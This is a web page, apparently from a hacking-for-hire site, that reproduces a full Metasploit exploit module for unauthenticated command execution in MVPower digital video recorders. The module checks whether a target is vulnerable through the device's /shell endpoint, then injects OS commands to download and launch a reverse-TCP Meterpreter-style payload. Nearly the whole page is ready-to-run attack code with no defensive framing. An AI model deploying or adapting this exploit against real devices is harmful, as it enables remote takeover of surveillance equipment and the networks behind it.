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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] }

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'MVPower DVR Shell Unauthenticated Command Execution',
      'Description' => %q{
        This module exploits an unauthenticated remote command execution
        vulnerability in MVPower digital video recorders. The 'shell' file
        on the web interface executes arbitrary operating system commands in
        the query string.

        This module was tested successfully on a MVPower model TV-7104HE with
        firmware version 1.8.4 115215B9 (Build 2014/11/17).

        The TV-7108HE model is also reportedly affected, but untested.
      },
      'Author'      =>
        [
          'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC
          'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'References'  =>
        [
          # Comment from Paul Davies contains probably the first published PoC
          [ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ],
          # Writeup with PoC by Andrew Tierney from Pen Test Partners
          [ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ]
        ],
      'DisclosureDate' => 'Aug 23 2015',
      'Privileged'     => true, # BusyBox
      'Arch'           => ARCH_ARMLE,
      'DefaultOptions' =>
        {
          'PAYLOAD' => 'linux/armle/mettle_reverse_tcp',
          'CMDSTAGER::FLAVOR' => 'wget'
        },
      'Targets'        =>
        [
          ['Automatic', {}]
        ],
      'CmdStagerFlavor' => %w{ echo printf wget },
      'DefaultTarget'   => 0))
  end

  def check
    begin
      fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
      res = send_request_cgi(
        'uri' => "/shell?echo+#{fingerprint}",
        'headers' => { 'Connection' => 'Keep-Alive' }
      )
      if res && res.body.include?(fingerprint)
        return CheckCode::Vulnerable
      end
    rescue ::Rex::ConnectionError
      return CheckCode::Unknown
    end
    CheckCode::Safe
  end

  def execute_command(cmd, opts)
    begin
      send_request_cgi(
        'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
        'headers' => { 'Connection' => 'Keep-Alive' }
      )
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def exploit
    print_status("#{peer} - Connecting to target")

    unless check == CheckCode::Vulnerable
      fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable")
    end

    print_good("#{peer} - Target is vulnerable!")

    execute_cmdstager(linemax: 1500)
  end
end